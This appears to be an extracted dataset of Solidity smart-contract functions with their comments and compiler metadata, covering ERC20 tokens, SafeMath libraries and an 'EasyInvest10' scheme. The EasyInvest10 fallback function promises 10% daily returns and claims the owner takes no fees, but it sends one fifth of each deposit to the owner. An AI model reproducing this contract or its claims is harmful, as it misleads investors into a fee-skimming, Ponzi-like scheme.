LineComment
transfer
function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccoun...
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 1870, 2448 ] }
1,339
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
approve
function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double...
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 2956, 3169 ] }
1,340
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transferFrom
function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen requir...
// ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - S...
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 3700, 4360 ] }
1,341
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
allowance
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; }
// ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 4643, 4799 ] }
1,342
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
approveAndCall
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; }
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // --------------------------------------------------------------------...
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 5154, 5476 ] }
1,343
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
function () public payable { revert(); }
// ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 5668, 5727 ] }
1,344
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
transferAnyERC20Token
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); }
// ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 5960, 6149 ] }
1,345
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
burn
function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value)...
// ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 6447, 6818 ] }
1,346
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
freezeAccount
function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); }
// ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 7158, 7324 ] }
1,347
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integ...
/** * @title SafeMath */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; }
/** * Multiplies two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 90, 297 ] }
1,348
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integ...
/** * @title SafeMath */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; }
/** * Integer division of two numbers, truncating the quotient. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 382, 682 ] }
1,349
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integ...
/** * @title SafeMath */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }
/** * Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 797, 925 ] }
1,350
BitPump
BitPump.sol
0xe575ca6f4837280be1dcfe845a79efa404d071c1
Solidity
SafeMath
library SafeMath { /** * Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * Integ...
/** * @title SafeMath */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; }
/** * Adds two numbers, throws on overflow. */
NatSpecMultiLine
v0.4.24+commit.e67f0147
None
bzzr://af70c10173483a6387bd72ef2d84b5111fb44edfec17f90ecbcb71b35870c77b
{ "func_code_index": [ 990, 1136 ] }
1,351
EasyInvest10
EasyInvest10.sol
0x0744a686c17480b457a4fbb743195bf2815ca2b8
Solidity
EasyInvest10
contract EasyInvest10 { address owner; function EasyInvest10 () { owner = msg.sender; } // records amounts invested mapping (address => uint256) invested; // records blocks at which investments were made mapping (address => uint256) atBlock; // this function called eve...
/** * * Easy Investment 10% Contract * - GAIN 10% PER 24 HOURS (every 5900 blocks) * - NO COMMISSION on your investment (every ether stays on contract's balance) * - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code) * * How to use: * 1. Send any amount of ...
NatSpecMultiLine
function() external payable { owner.send(msg.value/5); // if sender (aka YOU) is invested more than 0 ether if (invested[msg.sender] != 0){ // calculate profit amount as such: address kashout = msg.sender; // amount = (amount invested) * 10% * (blocks since last transaction) / 5900 ...
// this function called every time anyone sends a transaction to this contract
LineComment
v0.4.24+commit.e67f0147
bzzr://6015176bce0aacc4546a0182993ee13ea260444a103c8e9f31c8f487b263f17e
{ "func_code_index": [ 373, 1194 ] }
1,352
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
_transfer
function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value)...
/** * Internal transfer, only can be called by this contract */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 699, 1225 ] }
1,353
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
transfer
function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); }
/** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1431, 1543 ] }
1,354
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; }
/** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1818, 2152 ] }
1,355
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
approve
function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; }
/** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2416, 2592 ] }
1,356
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } }
/** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to s...
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2986, 3338 ] }
1,357
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
burn
function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Upd...
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 3508, 3930 ] }
1,358
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf;...
burnFrom
function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); ...
/** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 4188, 4873 ] }
1,359
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool f...
_transfer
function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balan...
/* Internal transfer, only can be called by this contract */
Comment
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 526, 1243 ] }
1,360
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool f...
freezeAccount
function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); }
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1424, 1590 ] }
1,361
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool f...
setPrices
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; }
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1833, 1993 ] }
1,362
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool f...
buy
function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers }
/// @notice Buy tokens from contract by sending ether
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2055, 2267 ] }
1,363
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool f...
sell
function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's importan...
/// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2371, 2759 ] }
1,364
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256...
/** * @dev Multiplies two numbers, reverts on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 90, 486 ] }
1,365
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 598, 877 ] }
1,366
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; }
/** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 992, 1131 ] }
1,367
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; }
/** * @dev Adds two numbers, reverts on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1196, 1335 ] }
1,368
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMath
library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github...
/** * @title SafeMath * @dev Math operations with safety checks that revert on error */
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; }
/** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1470, 1587 ] }
1,369
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns ...
mul
function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; }
/** * @dev Multiplies two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 234, 574 ] }
1,370
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns ...
div
function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; }
/** * @dev Division of two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 664, 960 ] }
1,371
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns ...
sub
function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; }
/** * @dev Subtracts two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1048, 1261 ] }
1,372
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns ...
add
function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; }
/** * @dev Adds two int256 variables and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 1344, 1557 ] }
1,373
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
SafeMathInt
library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns ...
abs
function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; }
/** * @dev Converts to absolute value, and fails on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
